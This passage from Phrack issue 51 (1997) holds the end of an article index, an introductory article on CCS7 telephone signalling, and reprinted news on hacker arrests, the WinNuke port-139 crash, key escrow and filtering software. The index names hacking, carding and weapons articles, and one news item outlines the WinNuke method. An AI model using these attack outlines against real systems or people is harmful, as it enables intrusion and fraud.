  "International Scene" 1994. I46 F27 44k
  "International Scene" 1995. I47 F21 39k

        "International Scene" 1996. I48 F17 33k
        "Line Noise" 1997. I50 F3 72k
        "Security Guidelines" 1994. I45 F10 55k
        "VMS Information" 1994. I45 F15 34k
VaxCat authored
        "Lifting Ma Bell's Cloak of Secrecy" 1989. I24 F9 25k
VaxCat co-authored
        "Can You Find Out If Your Telephone is Tapped?" 1989. I23 F9 20k
"VAX/VMS Fake Mail" by Jack T. Tabb. 1989. I30 F7 7k

VAX/VMS OPERATING SYSTEM
   "DCL BBS Program" by Raoul. 1994. I45 F16 23k
   "DCL Utilities for VMS Hackers" by The Mentor. 1988. I19 F2 23k
   "Getting Serious About VMS Hacking" by VAXBusters International. 1989.
      I23 F8
   "Inside The SYSUAF.DAT File" by Pain Hertz. 1990. I32 F8 16k
   "Users Guide to VAX/VMS Part 1/3" by Black Kat. 1991. I35 F7 62k
   "Users Guide to VAX/VMS Part 2/3" by Black Kat. 1992. I37 F7 25k
   "Users Guide to VAX/VMS Part 3/3" by Black Kat. 1992. I38 F7 46k
   "VAX/VMS Fake Mail" by Jack T. Tabb. 1989. I30 F7 7k
   "VMS Information" by Various Sources. 1994. I45 F15 34k
VaxBuster authored
        "TTY Spoofing" 1992. I41 F8 20k
        "Safe and Easy Carding" 1993. I44 F20 18k
VAXBusters International authored
        "Advanced BITNET Procedures" 1989. I24 F7 k
        "Getting Serious About VMS Hacking" 1989. I23 F8 13k

Vendetta authored
        "The Postal Inspection Service" 1989. I27 F9 14k

Vince Niel authored
        "The Freedom of Information Act and You" 1992. I42 F12 42k
"VisaNet Operations Part I" by Ice Jey. 1994. I46 F15 50k
"VisaNet Operations Part 2" by Ice Jey. 1994. I46 F16 44k
Visionary authored
        "Visionary-The Story About Him" 1993. I44 F17 23k
"Visionary-The Story About Him" by Visionary. 1993. I44 F17 23k

VM/CMS OPERATING SYSTEM
   "A Beginner's Guide to The IBM VM/370" by Elric of Imryrr. I10 F4 4k
   "Hacking VM/CMS" by Goe. 1989. I30 F4 58k
   "Operating The IBM VM/SP CP" by Taran King. 1989. I27 F2 38k
   "VMS Information" by Various Sources. 1994. I45 F15 34k

VOICE MAIL SYSTEMS
   "Centigram Voice Mail System Consoles" by >Unknown User<. 1992. I39 F6 36k
   "The Complete Guide to Hacking Meridian Voice Mail" by Substance. 1995.
    I47 F15 10k
   "Fun With The Centagram VMS Network" by Oryan Quest. 1986. I9 F3 4k
   "Rolm Systems" by Monty Python. 1986. I3 F2 11k
   "Skytel Paging and Voicemail" by pbxPhreak. 1997. I50 F10 36k
   "Startalk" by The Red Skull. 1994. I46 F18 21k
   "Hacking Voice Mail Systems" by Black Knight from 713. 1987. I11 F4 6k
   "Hacking Voice Mail Systems" by Night Ranger. 1991. I34 F6 19k

Voyager authored
        "The #hack FAQ (Part 1)" 1995. I47 F5 39k
        "The #hack FAQ (Part 2)" 1995. I47 F6 38k
        "The #hack FAQ (Part 3)" 1995. I47 F7 51k
        "The #hack FAQ (Part 4)" 1995. I47 F8 47k
        "Telephone Company Customer Applications" 1996. I49 F13 38k
Voyager was Pro-Philed in 1996. I48 F5 23k

** W **

WAREZ
  "A Day in The Life of a Warez Broker" by Xxxx Xxxxxxxx. 1995. I47 F20 13k

- "*ELITE* Access" by Dead Lord & Lord Digital(Lords Anonymous). 1991. I36 F5 43k
- "Pirate's Cove" by Rambone. 1992. I37 F3 8k
- "Pirate's Cove" by Rambone. 1992. I38 F3 23k
- "Pirate's Cove" by Rambone. 1992. I40 F5 57k
- "Pirate's Cove" by Rambone. 1992. I41 F5 32k

WEAPONS

- "Blowguns" by The Pyro. 1985. I2 F4 3K 3K
- "Building a Shock Rod" by Circle Lord. 1986. I3 F8 3k
- "Homemade Guns" by Man-Tooth. 1985. I2 F3 7k

"Welcome to Metal Shop Private" by Taran King, Knight Lightning, and Cheap Shades. 1988. I20 F4 37k

"Western Union Telex, TWX, and Time Service" by Phone Phanatic. 1989. I30 F10 13k

White Knight co-authored

- "Quentin Strikes Again" 1994. I45 F12 28k

WIDE AREA NETWORKS (Internet, BITNET, ArpaNET, Usenet, UUCP, TCP/IP, etc.)

- "Advanced BITNET Procedures" by VAXBusters International. 1989. I24 F7 k
- "Content-Blind Cancelbot" by Dr. Dimitri Vulis. I49 F9 40k
- "Covert Paths" by Cyber Neuron Limited and SynThecide. 1989. I29 F5 4k
- "The DECWRL Mail Gateway" by Dedicated Link. 1989. I30 F5 23k
- "A Few Things About Networks" by Prime Suspect. 1988. I18 F9 21k
- "Foundations on The Horizon; Chapter Two of FTSaga" by Knight Lightning. 1989. I23 F5 27k
- "Frontiers; Chapter Four of FTSaga" by Knight Lightning. 1989. I24 F4 25k
- "Future Trancendent Saga Index A" from The BITNET Services Library. 1989. I23 F6 14k
- "Future Trancendent Saga Index B" from The BITNET Services Library. 1989. I23 F7 17k
- "Internet Domains: FTSaga Appendix 3 (Limbo to Infinity)" by Phrack Inc. 1989. I26 F8 20k
- "Introduction to The Internet Protocols I: Chapter Eight of The FTS" by Knight Lightning. 1989. I28 F3 39k
- "Introduction to The Internet Protocols II: Chapter Nine of The FTS" by Knight Lightning. 1989. I29 F3 43k
- "Introduction to The MIDNET: Chapter Seven of The FTS" by Knight Lightning. 1989. I27 F3 35k
- "IP-Spoofing Demystified" by daemon9. 1996. I48 F13 25k
- "Limbo to Infinity; Chapter Three of FTSaga" by Knight Lightning. 1989. I24 F3
- "Network Management Center" by Knight Lightning and Taran King. 1988. I21 F6
- "Network Miscellany" by Racketeer. 1992. I40 F4 32k
- "Network Miscellany" by Racketeer. 1992. I41 F4 35k
- "Network Miscellany" by Taran King. 1989. I28 F4 30k
- "Network Miscellany II" by Taran King. 1989. I29 F4 35k
- "Network Miscellany III" by Taran King. 1989. I30 F2 21k
- "Network Miscellany IV" by Datastream Cowboy 1992. I38 F5 30k
- "Network Miscellany V" by Datastream Cowboy. 1992. I39 F4 34k
- "Network Progression" by Dedicated Link. 1989. I24 F10 5k
- "NSFnet: National Science Foundation Network" by Knight Lightning. 1989. I26 F4
- "Project Hades: TCP Weakness" by daemon9. 1996. I49 F7 38k
- "Project Loki: ICMP Tunneling" by daemon9/alhambra. 1996. I49 F7 38k
- "Project Neptune" by daemon9. 1996. I48 F13 52k
- "A Report on The Internet Worm" by Bob Page. 1988. I22 F8 16k
- "Snarfing Remote Files" by Dark Overlord. 1989. I28 F6 5k
- "SNMP insecurities" by alhambra. 1997. I50 F7 20k
- "SPAN: Space Physics Analysis Network" by Knight Lightning. 1989. I25 F4 47k
- "TAC info" Unknown Author. 1985. I2 F5 14K
- "TCP/IP: A Tutorial Part 1 of 1" by The Not. 1991 I33 F8 28k
- "TCP/IP: A Tutorial Part 2 of 2" by The Not. 1991 I34 F8 39k
- "TCP port Stealth Scanning" by Uriel I49 F15 32k
- "Utopia; Chapter One of FTSaga" by Knight Lightning. 1989. I23 F4 20k
- "Wide Area Information Services" by Mycroft 1992. I38 F8 11k
- "Wide Area Networks Part 1" by Jester Sluggo. 1986. I5 F7 10k
- "Wide Area Networks Part 2" by Jester Sluggo. 1986. I6 F8 10k

"Wide Area Information Services" by Mycroft 1992. I38 F8 11k
Wing Ding authored
        "The History ah MOD" 1991. I36 F4 23k
Winn Schwartau authored
        "Cyber Christ Meets Lady Luck Part I" 1994. I46 F19 45k
        "Cyber Christ Meets Lady Luck Part II" 1994. I46 F20 42k
        "Cyber Christ Bites The Big Apple" 1994. I46 F23 60k
White Knight co-authored
        "Exploring Information-America" 1992. I37 F4 51k
"Wide Area Networks Part 1" by Jester Sluggo. 1986. I5 F7 10k
"Wide Area Networks Part 2" by Jester Sluggo. 1986. I6 F8 10k
"The Wonderful World of Pagers" by Erik Bloodaxe. 1994. I46 F8

** X **

X.25 PACKET SWITCHING NETWORKS (SprintNet, Telenet, Tymnet, X.121 etc.)
   "A Few Things About Networks" by Prime Suspect. 1988. I18 F9 21k
   "An Introduction to Packet Switched Networks" by Epsilon. 1988. I18 F3 12k
   "BT Tymnet, Part 1/3" by Toucan Jones. 1992. I40 F8 57k
   "BT Tymnet, Part 2/3" by Toucan Jones. 1992. I40 F9 55k
   "BT Tymnet, Part 3/3" by Toucan Jones. 1992. I40 F10 91k
   "Datapac" by Synapse. 1993. I44 F21 36k
   "Exploring Information-America" by The Omega & White Knight. 1992. I37 F4 51k
   "Hacking and Tymnet" by SynThecide. 1989. I30 F3 20k
   "Network Miscellany" by Racketeer. 1992. I40 F4 32k
   "Network Miscellany" by Racketeer. 1992. I41 F4 35k
   "Network Miscellany" by Taran King. 1989. I28 F4 30k
   "Network Miscellany II" by Taran King. 1989. I29 F4 35k
   "Network Miscellany III" by Taran King. 1989. I30 F2 21k
   "Network Miscellany IV" by Datastream Cowboy 1992. I38 F5 30k
   "Network Miscellany V" by Datastream Cowboy. 1992. I39 F4 34k
   "NUA List for Datex-P and X.25 Networks" by Oberdaemon. 1989. I27 F4 105k
   "Sprintnet Directory Part 1/3" by Skylar. 1992. I42 F8 49k
   "Sprintnet Directory Part 2/3" by Skylar. 1992. I42 F9 45k
   "Sprintnet Directory Part 3/3" by Skylar. 1992. I42 F10 46k
   "TAMS and Telenet Security" by Phreak_Accident. 1990. I31 F4 7k
   "Tymnet Diagnostic Tools" by Professor Falken. 1992. I42 F5 35k
   "Tymnet Security Memo" by Anonymous. 1990. I31 F7 9k
   "Wide Area Information Services" by Mycroft 1992. I38 F8 11k
   "Wide Area Networks Part 1" by Jester Sluggo. 1986. I5 F7 10k
   "Wide Area Networks Part 2" by Jester Sluggo. 1986. I6 F8 10k
Xxxx Xxxxxxxx authored
        "A Day in The Life of a Warez Broker" 1995. I47 F20 13k

** Y **

"Yet AnoTher File on Hacking Unix" by >Unknown User<. 1988. I22 F6 19k
"Your New Windows Background (Part 1)"<unencoded> by The Man. 1995. I47 F17 39k
"Your New Windows Background (Part 2)"<unencoded> by The Man. 1995. I47 F18 46k

----[EOF

---[Phrack Magazine   Volume 7, Issue 51 September 01, 1997, article 15 of 17

-------------------------[A Brief Introduction to CCS7

--------[Narbo[SLF] <narbo@xeo.net>

```
0o0o0o0o0o0o0o0o0o0o0o0o0
o     Introduction      o
0o0o0o0o0o0o0o0o0o0o0o0o0
```

Every day it seems that the telcos introduce some funky new calling feature to make your life easier. I'm sure at one point or another you've probably wondered exactly how all of these calling features work. The answer? Common Channel Interoffice Signaling or CCS7.

CCS7 is somewhat analogous to TCP/IP in that it is a protocol that allows networked computers (in this case telephone switches) to talk to each other. It maps onto the OSI 7 Layer Reference Model model as such:

```
        ---------------    ------------------------------
         Application 7      OMAP | ASE |
        ---------------    -------------
        Presentation 6         TCAP    |
        ---------------    -------------
           Session   5                 |
        ---------------                |     ISDN-UP
         Transport   4                 |
        ---------------    --------------
                                SCCP     |
           Network   3     ------------------------------
                                    MTP Level 3
        ---------------    ------------------------------
          Data Link  2              MTP Level 2
        ---------------    ------------------------------
          Physical   1              MTP Level 1
        ---------------    ------------------------------
```

Legend:

```
        OMAP: Operations, Maintenance and Administration Part
        ASE : Application Service Layer
        TCAP: Transaction Capabilities Application Part
        SCCP: Signaling Connection Control Part
     ISDN-UP: Integrated Systems Digital Network User Part
        MTP : Message Transfer Part
```

This article will provide an introduction to how the network is set up, how messaging is done, and a brief example of a call setup/takedown.

```
0o0o0o0o0o0o0o0o0o0o0o0o0
o       History         o
0o0o0o0o0o0o0o0o0o0o0o0o0
```

AT&Ts introduction of CCIS (Common Channel Interoffice Signaling) in 1976 brought a radical change to the way signaling was handled. Before the advent of CCIS all signaling was done in band using the same trunks that would be used for customer conversations. Instead of sending all information over the voice circuits (trunks) a new network was created specifically for signaling.

AT&T began immediate deployment of CCIS technology and the CCITT (Consultative Committee for International Telephone and Telegraph) adopted it as an international standard called SS6 (Signaling System 6). The current version of the protocol is CCS7 (Common Channel Signaling System 7) and is prevalent throughout North America.

```
0o0o0o0o0o0o0o0o0o0o0o0o0
```

```
                        o       Switches        o
                        0o0o0o0o0o0o0o0o0o0o0o0o0
```

CCS7 networks are based on a mesh of links connecting switches like the following:

```
    ###(SP)       {SCP}---A---[STP] -B-- [STP]
    #    |                   /  | \      / |  \
    #    F                  /   |   \  /   |   \
    #    |                 /    C    BB    C    \                   ###########
    ###(SSP)              D     |  /    \  |     \                  #         #
    #    |   \           /    [STP] -B-- [STP]    D               (SSP)---F   #
    #    A     A        /    /           /    \    \               A      |   #
    #    |       \     /    /           A      \    \              |      |   #
    #  [STP] --B- [STP]    /           /        \    [STP] --B- [STP]-A-(SSP)##
    #    | \      / |     D         {SCP}        D     | \      / |       |   #
    #    |   \  /   |    /                        \    |   \  /   |       |   #
    #    C    BB    C   /                          \   C    BB    C       |   #
    #    |  /    \  |  /                            \  |  /    \  |       |   #
    #  [STP] --B- [STP]                              [STP] --B- [STP]     |   #
    #               |                                  |                  |   #
    #               |--(SSP)                           |--------E---------|   #
    #                    #                                                    #
    ###########################################################################
```

# = Trunks
- = CCS7 links

Explanation:

STP (Signal Transfer Point):

STPs are tandem switches which act as the routers of the CCS7 network. They transfer messages between incoming and outgoing signaling links but do not originate messages other then those used for network management. Since their sole function is to act as routers, STPs have NO trunks attached to them. STPs are grouped into mated pairs. These pairs are grouped into the quads you see in the above diagram. This is all done for the sake of redundancy.

SCP (Signal Control Point):

SCPs act as the application database servers for the CCS7 network. SSPs make database queries through the STPs to the SCPs for such things as 800 number lookups. As they are not used for direct line connections SCPs also do not have trunks attached to them. SCPs are the least common type of switch; for instance, in Canada, there are only two SCPs, one of which is in Calgary, the other in Toronto.

SSP (Service Switching Point) and SP (Service Point):

SSPs and SPs are the most common switches (despite my diagram :)) and are deployed as EO (End Office) switches and in PBXs (Private Branch Exchanges). On average each SSP can handle about 100,000 - 125,000 lines. Of course the amount of trunks actually available on the switch is considerably smaller then the amount of incoming lines; the telcos have various modeling algorithms that predict the maximum amount of trunks that will actually be used which is why occasionally when, say, a U2 concert hits town a switch can run out of available trunks as people rush the phones for tickets. SSPs and SPs differ only on that the former can enact SCP database queries while the latter cannot.

```
                        0o0o0o0o0o0o0o0o0o0o0o0o0
                        o        Links          o
                        0o0o0o0o0o0o0o0o0o0o0o0o0
```

A CCS7 link is nothing more then a dedicated 56/64K trunk. There are various classifications of link types: (Refer to the previous diagram for examples)

A Links:

Connect SSP/SPs and SCPs to STPs.

B (Bridge) Links:

Connect two STP pairs together to form an STP quad.

C (Cross) Links:

Connect mated STP pairs together.

D Links:

Interconnect STP quads.

E Links:

Connect SSP/SPs or SCPs to a STP pair other than their "home" pair.

F Links:

Connect SSP/SPs and SCPs to each other.

Links are joined together to form linksets. A linkset is defined as all the links connecting one node in the network to another node. Directly analogous to linksets are routesets which map out the paths to all the other nodes in the network by associating a cost with each possible linkset the message could go out on.

If that sounded confusing (and I know it did) here is a small example. Consider the following subsection from our bigger network:

```
    ###(SP1)
    #    |
    #    |
    #    |
    ###(SSP1)
    #    |   \
    #    L1    L2
    #    |       \
    #  [STP1] ---- [STP2]--
    #    | \      /  |     |
    #    |   \  /    |     |
    #    |    \/     |     |
    #    |  /    \   |     |
    #  [STP3] ---- [STP4]  |
    #                \     /
    #                 (SSP2)
    #                    #
    ######################
```

Say SSP1 wants to send a message to SSP2. The routeset to SSP2 on SSP1 will be datafilled with two possible linksets that could be used; namely the ones going to STP1 and STP2. However, it's obvious that using L2 would be more efficient, taking 2 hops instead of 3, via L1. On the switch this would be noted by L2 having a lower cost than L1.

```
                        0o0o0o0o0o0o0o0o0o0o0o0o0
                        o  Call Setup Example   o
                        0o0o0o0o0o0o0o0o0o0o0o0o0
```

Call setup and takedown using CCS7 is handled by a subset of the protocol called ISDN-UP (Integrated Services Digital Network User Part). There are many messages belonging in this subset but only five are needed to make a phone call.

Let's say I want to call Dr. Sardu using the network from the previous example. The good doctor's phone is serviced by SSP2 while mine is serviced by SSP1. When I pick up my phone the switch will detect that it is off the hook and send a dial tone. After dialing, an IAM (Initial Address Message) will go out on the network from SSP1 to SSP2. Assuming all goes well (the phone is not busy, etc...) an ACM (Address Complete Message) will come back from SSP2 to SSP1. It is at this time that I hear the first ring tone in my receiver. The moment the other party picks up and all the trunks are seized an ANM (Answer Message) is sent from SSP2 to SSP1 and upon reception of this message billing starts (A few ms of free phone time. Woo woo!). When the conversation is complete and one party hangs up, its switch will send an REL (Release Message) and upon reception the other party will hear the "click" of the phone being hung up. When he then hangs up the final RCL (Release Complete) message will be sent and the seized trunks will return to idle.

----[EOF

---[Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 16 of 17

-------------------------[PHRACK WORLD NEWS

--------[Issue 51

0x1: Illinois man arrested after threatening Bill Gates
0x2: Man Arrested In Tokyo On Hacker Charges
0x3: FBI says hacker sold 100,000 credit card numbers
0x4: MS Security Plugs Not Airtight
0x5: BSA slams DTI's Encryption Plans
0x6: Teen bypasses blocking software
0x7: The Power to Moderate is the Power to Censor
0x8: AOL Users in Britain Warned of Surveillance
0x9: Georgia Expands the "Instruments of Crime"
0xa: NASA Nabs Teen Computer Hacker
0xb: Agriculture Dept. Web Site Closed after Security Breach
0xc: Hackers Smash US Government Encryption Standard
0xd: Hacker May Stolen JonBenet computer Documents
0xe: Hacker Vows 'Terror' for Pornographers
0xf: Mitnick Gets 22 Month Sentence
0x10: New York Judge Prohibits State Regulation of Internet
0x11: Breaking the Crypto Barrier
0x12: Setback in Efforts to Secure Online Privacy
0x13: Captain Crunch Web Site Now Moved
0x14: US Justive Dept. Investigating Network Solutions
0x15: Cyber Patrol Bans Crypt Newsletter
0x16: Some humor on media hacks and hackers
0x17: Court Mixes Internet Smut Provision

0x1: Book Title: Underground
0x2: Book Title: "Hackers"

0x1: Convention: Cybercrime Conference Announcement
0x2: Convention: Computers & The Law IV Symposium

0x1>---

Title: Illinois man arrested after threatening Bill Gates
Source: Reuter
Author: unknown

SEATTLE (Reuter) - An Illinois man has been arrested and charged with threatening to kill Microsoft Corp. Chairman Bill Gates in a $5 million extortion plot, authorities said on Friday.

Adam Pletcher was arrested on May 9 in the Chicago suburb of Long Grove, where he lives with his parents, and charged with extortion, federal prosecutors said. He was freed on $100,000 bond and is due to appear in U.S. District Court in Seattle on Thursday for arraignment.

According to court documents, Pletcher sent four letters to Gates, beginning in March, threatening to kill the software company founder and his wife, Melinda, unless payment of at least $5 million was made.

The first letter was intercepted at the company's headquarters in Redmond, Washington, by corporate security officers, who contacted the FBI.

Agents then used an America Online dating service specified by the author of the letters to track down Pletcher, described as a loner in his early 20s who spends much of his time in front of the computer.

Authorities said they treated the threats seriously but did not believe Gates' life was ever in danger.

"We generally think this was a kid with a rich fantasy life, just living that out," said Tom Ziemba, a spokesman for U.S. Attorney Katrina Pflaumer.

"This was handled in a fairly routine fashion by Microsoft security and law enforcement agencies," Microsoft spokesman Mark Murray said. "At some point in the investigation Microsoft did make Bill aware of the situation."

Pletcher's online activities have landed him in trouble before.

In February the Illinois attorney general sued Pletcher, accusing him of defrauding consumers of thousands of dollars in an alleged Internet scam, according to a story in the Chicago Tribune. Several consumers complained they sent Pletcher up to $5,500 to find them a car deal and never got their money back.

Despite his status as richest man in America, with a Microsoft stake valued at more than $30 billion, Gates is still known to travel alone on regularly scheduled flights. But Murray said the executive was well-protected.

"We don't comment at all on Bill's security other than to say that there are extensive and appropriate security measures in place for Bill, for his family and for Microsoft facilities and personnel," Murray said.

0x2>---

Title: Man Arrested In Tokyo On Hacker Charges
Source: unknown
Author: unknown

TOKYO (May 23, 1997 10:31 a.m. EDT) - A 27-year-old Japanese man was arrested Friday on suspicion of breaking into an Internet home page of Asahi Broadcasting Corp. and replacing it with pornography, a police spokesman said.

Koichi Kuboshima, a communications equipment firm employee from Saitama Prefecture, north of Tokyo, was arrested on charges of interrupting business by destroying a computer network.

It was the first arrest related to illegal access to the information network, the police spokesman said, adding Kuboshima was also charged with displaying obscene pictures, the spokesman said.

The suspect admitted to the crime, telling police he had done it for fun, police officials said.

The Osaka-based broadcasting network blocked access to all of its home pages on Sunday immediately after it was notified of the offense by an Internet user.

The Asahi home page is designed to allow users to download and upload information, which allowed Kuboshima to rewrite the contents, the spokesman said.

0x3>---

Title: FBI says hacker sold 100,000 credit card numbers
Source: unknown
Author: unknown

SAN FRANCISCO (May 23, 1997 10:13 a.m. EDT) -- A clever hacker slipped into a major Internet provider and gathered 100,000 credit card numbers along with enough information to use them, the FBI said Thursday.

Carlos Felipe Salgado, Jr., 36, who used the online name "Smak," allegedly inserted a program that gathered the credit information from a dozen companies selling products over the Internet, said FBI spokesman George Grotz.

[Secure electronic commerce is a novel idea.]

Salgado allegedly tried to sell the credit information to an undercover agent for $260,000. He was arrested Wednesday and faces a maximum 15 years in prison and $500,000 in fines if convicted on charges of unauthorized access of computers and trafficking in stolen credit card numbers.

"What is unique about this case is that this individual was able to hack into this third party, copy this information and encrypt it to be sold," Grotz said.

[Since we know others have hacked in and stolen credit cards before, the unique part is him trying to sell them. That isn't in keeping with what federal agents love to say about hackers and credit card incidents. Convenient how they change things like that.]

Had it succeeded, "at minimum we'd have 100,000 customers whose accounts could have been compromised and would not have known it until they got their bill at the end of the month," the FBI spokesman said.

The scheme was discovered by the unidentified San Diego-based Internet provider during routine maintenance. Technicians found an intruder had placed a program in their server called a "packet sniffer," which locates specified blocks of information, such as credit card numbers.

[Uh...more like they kept a nice ascii database full of the numbers that was copied with expert technique like "cp ccdb"...]

The FBI traced the intruder program to Salgado, who was using an account with the University of California-San Francisco.

A school spokeswoman said officials have not yet determined whether Salgado attended or worked at the school, or how he got access to the account.

With the cooperation of a civilian computer user who was in communication with Salgado, the FBI arranged to have an undercover agent buy the stolen credit card information.

After making two small buys, the FBI agents arranged to meet Salgado on Wednesday at San Francisco International Airport to pay $260,000 for 100,000 credit card numbers with credit limits that ranged up to $25,000 each.

After decrypting and checking that the information was valid, Salgado was taken into custody at his parents' house in Daly City. Salgado waived his rights and acknowledged breaking into computers, including the San Diego company, according to the affidavit.

The FBI has not found any evidence Salgado made any purchases with the numbers himself, the spokesman said, but the investigation is continuing.

Salgado appeared before a federal magistrate Thursday and was released on a $100,000 personal bond. Grotz said that as a condition of bail, "the judge forbids him to come anywhere near a computer."

0x4>---

Title: MS Security Plugs Not Airtight
Source: unknown
Author: Nick Wingfield

(May 22, 1997, 12:45 p.m. PT) Microsoft (MSFT) is still struggling to completely patch Windows 95 and NT against Internet hacker attacks.

The company has posted a software patch that protects Windows 95 users from an attack that can crash their computers. The company issued a similar patch for Windows NT last week.

But both the Windows NT and 95 patches aren't complete prophylactics for so-called out-of-band data attacks since both platforms can still be crashed by hackers with Macintosh and Linux computers. Microsoft said today that it hopes to post new patches by tonight that remedy the vulnerability to Mac- and Linux-based attacks.

The current Windows 95 patch--without protection for Mac and Linux attacks--can be downloaded for free from Microsoft's Web site.

This year, Microsoft programmers have been forced to create a medicine chest of software remedies to fix potential security risks in everything from the Internet Explorer browser to PowerPoint to Windows itself. Some security experts believe the company is struggling with deep-rooted vulnerabilities in its OS and Internet technologies.

It's clear that the Internet has made it much easier for enterprising bug-finders to broadcast their discoveries to the press and public over email lists and Web pages. This has put intense pressure on Microsoft's engineering groups to quickly come up with patches.

Other companies, such as Sun Microsystems, have also had to release a number of patches for their technologies, but Microsoft has been especially hard-hit.

A number of security experts believe that Microsoft would have had a hard time avoiding these security problems.

"As a professional programmer, I have a real hard time saying that Microsoft should have seen this coming," said David LeBlanc, senior Windows NT security manager at Internet Security Systems, a developer of security software. "I get hit with this stuff too. With 20/20 hindsight, it's really obvious to see what we did wrong. Trying to take into account all the possibilities that can occur beforehand is not realistic."

In order to exploit the latest vulnerability, Web sites must send a special TCP/IP command known as "out of band data" to port 139 of a computer running Windows 95 or NT. Hackers could also target users' PCs by using one of several programs for Windows, Unix, and Macintosh now circulating on the Net. With one program, called WinNuke, a hacker simply types a user's Internet protocol address and then clicks the program's "nuke" button in order to crash a PC over the Net.

The company's original patch for Windows NT prevents attacks from Unix and other Windows computers. But because of a difference in the way Mac and Linux computers handle the TCP protocol, Microsoft's patch didn't squelch attacks from those operating systems.

[Bullshit meter: ****- - In actuality, Microsoft just decided to filter hits on that port looking for a keyword included in the first 'winuke' script. By changing that word, 95 was once again vulnerable to these attacks. Good work Microsoft.]

A number of users have sent email to CNET's NEWS.COM complaining that their computers were repeatedly crashed as they chatted in Internet relay chat groups. When users are nuked by a hacker, their computer screens often display an error message loosely known as the "blue screen of death."

"The worst part about it is that the delinquents playing with this toy really like to play with it and keep on doing it," said Martin A. Childs, a law student at Louisiana State University in Baton Rouge. "The first time I got hit, I logged on six times before I managed to figure out what was going on."

The original patches for Windows NT versions 4.0 and 3.51 are available on Microsoft's Web site. Last Thursday, the company also posted a collection of software patches, called service pack 3, that contains the NT out-of-band fix.

The out-of-band data attacks also affect users of Windows 3.11, but a company spokeswoman said that Microsoft will not prepare a fix for that platform unless users request one.

0x5>---

Title: BSA slams DTI's Encryption Plans
Source: The IT Newspaper
Author: unknown
Date: 26th June 1997

Government Proposals on encryption are 'unworkable, unfar, unweildy, un-needed and frankly unacceptable', according to the British Software Alliance (BSA) and the British Interactive Multimedia Association (Bima), writes Tim Stammers.

In a joint statement, the organizations claimed that encryption proposals from the DTI could 'cripple the growth of electronic comerce in the UK'.

Tod Cohen, lawyer at Covington & Berling, council to the BSA, said: 'These proposals could be a disaster for both users and vendors'.

The DTI's plan calls for UK organisations which want to encrypt email and data to supply copies of their encryption keys to third parties.

Government agencies will then be able to demand access to copies of the keys. The DTI says the scheme aims to prevent criminal use of encryption by drug dealers and terrorists.

But the BSA and BIMA claim that the proposed tystem will create a massive bureaucratic structure will criminals will ignore.

'The sheer number of electronic communications could easily overwhelm the system, without inreasing security or safety within the UK', their statement said.

Sean Nye, executive member of Bima, said : 'In an age where personal data and information is increasingly threatened with unwarranted exposure, the DTI's proposals are a major step backwards'.

Opposition to the so-called key escrow system suggested by the DTI has been widespread. Public opponents include Brian Gladman, former deputy director at Nato's labratories.

The proposals where formulated under the last government, and a decision on their future is expected next month.

The US government is easing encryption export controls for software companies which are prepared to back key escrow, but has met Senate opposition to its plans.

0x6>---

Title: Teen bypasses blocking software
Sounce: www.news.com
Author: Courtney Macavinta
Date: April 22, 1997, 5:30 p.m. PT

A teenager is using his Web site to help others bypass one brand of filtering software intended to protect minors from illicit Net material.

Using the "CYBERsitter codebreaker" from 18-year-old Bennett Haselton, surfers can now decode the list of all Net sites blocked by Solid Oak's Cybersitter software.

Haselton--the founder of a teen organization called Peacefire that fights Net censorship--contends that the software violates free speech rights for adults and teen-agers. He claims the software is also falsely advertised because it promises parents the "ability to limit their children's access to objectionable material on the Internet," but also blocks other content on the Net.

Haselton's campaign to get around Cybersitter has Solid Oak's president seeing red.

Solid Oak denies Haselton's charges and is investigating the legality of the code-breaking program. "He doesn't know anything, and he's just a kid," Solid Oak President Brian Milburn said today. "We have never misrepresented our product--ever."

Haselton's Cybersitter codebreaker can be used to crack a coded list of the sites that CYBERsitter blocks. The list is distributed to subscribers to notify users what sites are being blocked. Subscribers pay $39.95 for the software.

The software blocks sites containing any words describing genitals, sex, nudity, porn, bombs, guns, suicide, racial slurs and other violent, sexual and derogatory terms.

The list also blocks an array of sites about gay and lesbian issues, including PlanetOut and the International Gay and Lesbian Human Rights Commission . Cybersitter even blocks the National Organization for Women because it contains information about lesbianism, Solid Oak stated. "The NOW site has a bunch of lesbian stuff on it, and our users don't want it," said Milburn.

The software also filters any site that contains the phrase "Don't buy CYBERsitter" as well as Haselton's own site and any reference to his name.

Milburn says Haselton's campaign is hurting the product's marketability and hinted that the company will stop him, but wouldn't say exactly how.

"We have users who think they purchased a secure product. This is costing us considerably," Milburn said. "But we're not going to let Bennett break the law."

He did point out that Haselton's program to decode the software may violate its licensing agreement, which states: "Unauthorized reverse engineering of the Software, whether for educational, fair use, or other reason is expressly forbidden. Unauthorized disclosure of CYBERsitter operational details, hacks, work around methods, blocked sites, and blocked words or phrases are expressly prohibited."

Haselton is undaunted by the suggestion of legal reprecussions. "I've talked to a lawyer who offered to represent me in the event that Cybersitter goes after me," he added.

Haselton, a junior at Vanderbuilt University, argues that the software doesn't protect kids from smut, but just keeps them from learning new ideas.

"Blocking software is not the solution to all of our problems. What's dangerous is not protecting [teenagers' free] speech on the Net as well," he said. "This is the age, when you form your opinions about social issues, human rights, and religion. We need to keep free ideas on the Net for people under 18."

Haselton's organization is also a plaintiff in a lawsuit being argued today in New York, the American Library Association vs. Governor George Pataki. The case was filed to strike down a state law similar to the Communications Decency Act that prohibits making indecent material available to minors over the Net.

0x7>--

Title: The Power to Moderate is the Power to Censor
Source: unknown
Author: Paul Kneisel

Some 200+ new news groups have just been created on the UseNet part of the Internet. They are grouped under a new <gov.*> hierarchy.

<gov.*> promises to "take democracy into cyberspace," according to the press release from the National Science Foundation.[1] "The U.S. government," said U.S. Vice President Al Gore of the GovNews project, "is taking a leadership role in providing technology that could change the face of democracy around the world."[2]

The GovNews project repeatedly stresses how it will support and promote feedback between governments and citizens. "Millions of people will now be able to follow and comment on government activity in selected areas of interest...," the release stated, promising "a wide, cost-effective electronic dissemination and discussion...."

Preston Rich, the National Science Foundation's leader of the International GovNews Project, described GovNews as "newsgroups logically organized by topic from privatization, procurements and emergency alerts to toxic waste and marine resources and include[s] the capability to discuss such information."[1]

The vast majority of the new <gov.*> groups are moderated.

